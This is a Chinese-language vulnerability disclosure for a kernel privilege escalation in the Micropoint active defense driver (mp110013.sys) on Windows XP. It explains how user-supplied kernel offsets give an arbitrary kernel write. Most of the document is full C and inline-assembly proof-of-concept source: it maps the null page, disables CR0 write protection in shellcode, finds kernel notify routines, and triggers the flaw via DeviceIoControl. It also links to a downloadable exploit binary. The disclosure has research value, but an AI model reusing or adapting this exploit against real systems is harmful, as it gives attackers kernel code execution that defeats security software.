漏洞涉及产品:微点主动防御100323.1.2.10581.0278.r1及以下版本
mp110013.sys <= 1.3.10123.0
漏洞影响：
通过漏洞攻击者在最低系统权限下执行内核权限代码，从而可以突破任何存在的安全防护软件，包括沙盘、主动防御、杀毒软件、防火墙、HIPS、UAC和系统安全设置
漏洞详细原理和利用方法
微点主动防御的驱动程序Mp110003.sys中存在这样一个功能，允许用户提供PspCreateProcessNotifyRoutineCount和PspCreateProcessNotifyRoutine 相对于ntoskrnl的偏移，提供后，微点将在mp110003中处理这个偏移，从偏移地址获取PspCreateProcessNotifyRoutine数组，并寻找自己在其中注册的项目，将此项目位置作为数值A
接着在其对于NtCreateProcessEx的钩子和系统线程中，高频率检查PspCreateProcessNotifyRoutineCount中的数值是否小于数值A，如果小于，则关闭系统内存写保护，并将数值A写回到PspCreateProcessNotifyRoutineCount指向的内存
由于偏移地址可随意指定，因此用户态的程序可以使微点驱动写入任意内核地址，但这个漏洞的利用条件实际是比较苛刻的，需要满足下面3个条件：
(1).由于微点会开启系统线程去访问PspCreateProcessNotifyRoutineCount和PspCreateProcessNotifyRoutine，因此我们不能指定一个位于用户态内存的地址。
(2).PspCreateProcessNotifyRoutine又必须满足要存在一项微点自己的回调函数，这是比较困难的，因为NotifyRoutine的结构在XP下有一点麻烦，最好是使用原始的地址了。
(3).PspCreateProcessNotifyRoutineCount指向的内存中的数值必须小于当前真正的回调函数个数，又能被某一个RING3程序可以调用的系统调用访问或执行，因为系统只允许最多8个回调函数，所以最终写入数值只可能是1~8之间，因此必须申请0号地址内存去执行。
这里我使用了PspLegoNotifyRoutine这个东东，这个回调首先系统通常是空的，满足条件3，同时可以通过线程的结束来控制，这个通知条件是KThread->LegoData不为空，由于这个地址通常也是空的，因此我们同样可以利用这个漏洞来将其设为非空，最后由于我们需要申请0号地址来执行代码，因此不能用进程主线程干这个事，因为LegoNotfiy 执行时机在PspExitThread中比较晚，那时如果是主线程销毁，进程的VM已经被销毁了。
利用程序:http://mj0011.ys168.com 漏洞演示目录下mp0day1.exe
漏洞利用的结果是在内核态向系统所有进程的ntdll.dll基址偏移0x8写入“6543”
这里利用程序有一些平台相关的处理，懒得做兼容了，目前只支持XP。
利用代码如下：
// mp0day1.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include "windows.h"
#include "shlwapi.h"
#pragma comment(lib , "shlwapi.lib")
VOID __declspec(naked) ShellCode()
{
__asm
{
pushad
mov eax , cr0
push eax
and eax, 0xFFFEFFFF
mov cr0 , eax
cli
mov eax , 0xAAAA5555
mov dword ptr[eax] , 0x33343536
sti
pop eax
mov cr0 , eax
popad
ret 0x4
}
}
VOID __declspec(naked) nopfunc()
{
__asm{mov edi ,edi
nop };
}
enum { SystemModuleInformation = 11,
SystemHandleInformation = 16 };
typedef struct {
ULONG Unknown1;
ULONG Unknown2;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
PVOID GetInfoTable(ULONG ATableType)
{
ULONG mSize = 0x4000;
PVOID mPtr = NULL;
LONG status;
HMODULE hlib = GetModuleHandle("ntdll.dll");
PVOID pZwQuerySystemInformation = GetProcAddress(hlib , "ZwQuerySystemInformation");
do
{
mPtr = malloc(mSize);
if (mPtr)
{
__asm
{
push 0
push mSize
push mPtr
push ATableType
call pZwQuerySystemInformation
mov status , eax
}
}
else
{
return NULL;
}
if (status == 0xc0000004)
{
free(mPtr);
mSize = mSize * 2;
}
} while (status == 0xc0000004);
if (status == 0)
{
return mPtr;
}
free(mPtr);
return NULL;
}
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Information[ 1 ];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
DWORD WINAPI LegoThread(LPVOID lpThreadParameter)
{
while(TRUE)
{
Sleep(0x1000);
}
return 0 ;
}
int main(int argc, char* argv[])
{
DWORD dwVersion = 0;
DWORD dwMajorVersion = 0;
DWORD dwMinorVersion = 0;
dwVersion = GetVersion();
// Get the Windows version.
dwMajorVersion = (DWORD)(LOBYTE(LOWORD(dwVersion)));
dwMinorVersion = (DWORD)(HIBYTE(LOWORD(dwVersion)));
if (dwMajorVersion != 5 || dwMinorVersion != 1)
{
printf("POC for XP only\n");
getchar();
return 0 ;
}
printf("Micropoint Mp110003.sys <= 1.3.10123.0 Local Privilege Escalation Vulnerability POC\n"
"by MJ0011 th_decoder@126.com\n"
"Press Enter\n");
getchar();
HANDLE hDev = CreateFile("\\\\.\\mp110013" ,
0 ,
FILE_SHARE_READ | FILE_SHARE_WRITE ,
0,
OPEN_EXISTING,0,
0
);
if (hDev == INVALID_HANDLE_VALUE)
{
printf("cannot open device %u\n" , GetLastError());
return 0 ;
}
PVOID BaseAddress = (PVOID) 1;
ULONG RegionSize = (ULONG) 0;
PVOID pNtAllocateVirtualMemory = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtAllocateVirtualMemory");
PVOID pNtFreeVirtualMemory = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtFreeVirtualMemory");
ULONG status ;
__asm
{
push 0x8000
lea eax , RegionSize
push eax
lea eax , BaseAddress
push eax
push 0xffffffff
call pNtFreeVirtualMemory
mov RegionSize,0x1000
push 0x40
push 0x3000
lea eax , RegionSize
push eax
push 0
lea eax , BaseAddress
push eax
push 0xffffffff
call pNtAllocateVirtualMemory
mov status , eax
}
if (status != 0 )
{
printf("allocate 0 memory failed %08x\n" , status);
return 0 ;
}
//set nop code
ULONG codesize = (ULONG)nopfunc - (ULONG)ShellCode;
memset((PVOID)0 , 0x90 , 0x8);
memcpy((PVOID)0x8 , ShellCode , codesize);
ULONG i ;
for (i = 0x8 ; i < codesize+0x8 ; i++)
{
if (*(DWORD*)i == 0xAAAA5555)
{
*(DWORD*)i = (DWORD)(GetModuleHandle("ntdll.dll") + 0x2);
break ;
}
}
PSYSTEM_MODULE_INFORMATION pModInfo = (PSYSTEM_MODULE_INFORMATION)GetInfoTable(SystemModuleInformation);
if (pModInfo == 0 )
{
printf("get info table failed!\n");
return 0 ;
}
ULONG Tid ;
HANDLE hThread = CreateThread(0 , 0 , LegoThread , 0 , 0 , &Tid);
if (hThread == 0 )
{
printf("cannot open thread %u\n",GetLastError());
return 0 ;
}
//SystemHandleInformation=16
PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)GetInfoTable(16);
if (pHandleInfo == 0 )
{
printf("cannot get handle info\n");
return 0 ;
}
ULONG ThreadObject =0;
for (i = 0 ; i < pHandleInfo->NumberOfHandles ; i ++)
{
if (pHandleInfo->Information[i].UniqueProcessId == GetCurrentProcessId() &&
pHandleInfo->Information[i].HandleValue == (USHORT)hThread)
{
ThreadObject = (ULONG)pHandleInfo->Information[i].Object;
break ;
}
}
if (ThreadObject == 0 )
{
printf("cannot get thread object!\n");
return 0 ;
}
ThreadObject+=0xd0;
HMODULE hkernel = LoadLibraryA(strrchr(pModInfo->Module[0].ImageName, '\\') + 1);
if (hkernel == 0 )
{
printf("kernel mapping error %u\n" , GetLastError());
return 0 ;
}
ULONG PsSetLegoNotifyRoutine = (ULONG)GetProcAddress(hkernel , "PsSetLegoNotifyRoutine");
ULONG PspLegoNotifyRoutine = 0 ;
if (PsSetLegoNotifyRoutine ==0)
{
printf("PsSetLegoNotifyRoutine==0");
return 0 ;
}
for (i = PsSetLegoNotifyRoutine ; i < PsSetLegoNotifyRoutine + 0x10 ; i ++)
{
if (*(BYTE*)i == 0xa3 && *(BYTE*)(i + 5 == 0xb8 ) && *(DWORD*)(i + 6 )==0xd0)
{
PspLegoNotifyRoutine = *(ULONG*)(i +1);
break ;
}
}
if (PspLegoNotifyRoutine == 0 )
{
printf("bad PsSetLegoNotifyRoutine\n");
return 0 ;
}
ULONG PsSetCreateProcessNotifyRoutine = (ULONG)GetProcAddress(hkernel , "PsSetCreateProcessNotifyRoutine");
ULONG PspCreateProcessNotifyRoutine= 0 ;
if (PsSetCreateProcessNotifyRoutine==0)
{
printf("PsSetCreateProcessNotifyRoutine==0!\n");
return 0 ;
}
for (i = PsSetCreateProcessNotifyRoutine ; i < PsSetCreateProcessNotifyRoutine + 0x30 ; i ++)
{
if (*(BYTE*)i == 0xbf && *(WORD*)(i + 5) == 0xe857)
{
PspCreateProcessNotifyRoutine = *(ULONG*)(i + 1);
break ;
}
}
if (PspCreateProcessNotifyRoutine ==0)
{
printf("bad PsSetCreateProcessNotifyRoutine!\n");
return 0 ;
}
PIMAGE_DOS_HEADER doshdr ;
PIMAGE_NT_HEADERS nthdr ;
doshdr = (PIMAGE_DOS_HEADER )(hkernel);
nthdr = (PIMAGE_NT_HEADERS)((ULONG)hkernel + doshdr->e_lfanew);
PspLegoNotifyRoutine += (ULONG)pModInfo->Module[0].Base - nthdr->OptionalHeader.ImageBase;
PspCreateProcessNotifyRoutine += (ULONG)pModInfo->Module[0].Base - nthdr->OptionalHeader.ImageBase;
FreeLibrary(hkernel);
ULONG PspLegoNotifyRoutineOff = (ULONG)PspLegoNotifyRoutine - (ULONG)pModInfo->Module[0].Base ;
ULONG PspCreateProcessNotifyRoutineOff = (ULONG)PspCreateProcessNotifyRoutine - (ULONG)pModInfo->Module[0].Base;
ULONG btr ;
ULONG InputBuffer[3] = {0x0 , PspCreateProcessNotifyRoutineOff , PspLegoNotifyRoutineOff };
if (!DeviceIoControl(hDev ,
0x800001A4,
&InputBuffer ,
sizeof(ULONG)*3 ,
NULL,
0,
&btr ,
0))
{
printf("device io control failed %u\n", GetLastError());
return 0 ;
}
PVOID pNtCreateProcessEx = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtCreateProcessEx");
HANDLE hProc ;
__asm
{
push 0
push 0
push 0
push 0
push 0
push 0x1
push 0
push 0
lea eax ,hProc
push eax
call pNtCreateProcessEx
}
ULONG ThreadLegoDataOff = ThreadObject - (ULONG)pModInfo->Module[0].Base ;
InputBuffer[2] = ThreadLegoDataOff;
if (!DeviceIoControl(hDev ,
0x800001A4,
&InputBuffer ,
sizeof(ULONG)*3 ,
NULL,
0,
&btr ,
0))
{
printf("device io control failed %u\n", GetLastError());
return 0 ;
}
__asm
{
push 0
push 0
push 0
push 0
push 0
push 0x1
push 0
push 0
lea eax ,hProc
push eax
call pNtCreateProcessEx
}
TerminateThread(hThread , 0 );
printf("POC Executed\n");
getchar();
return 0;
}
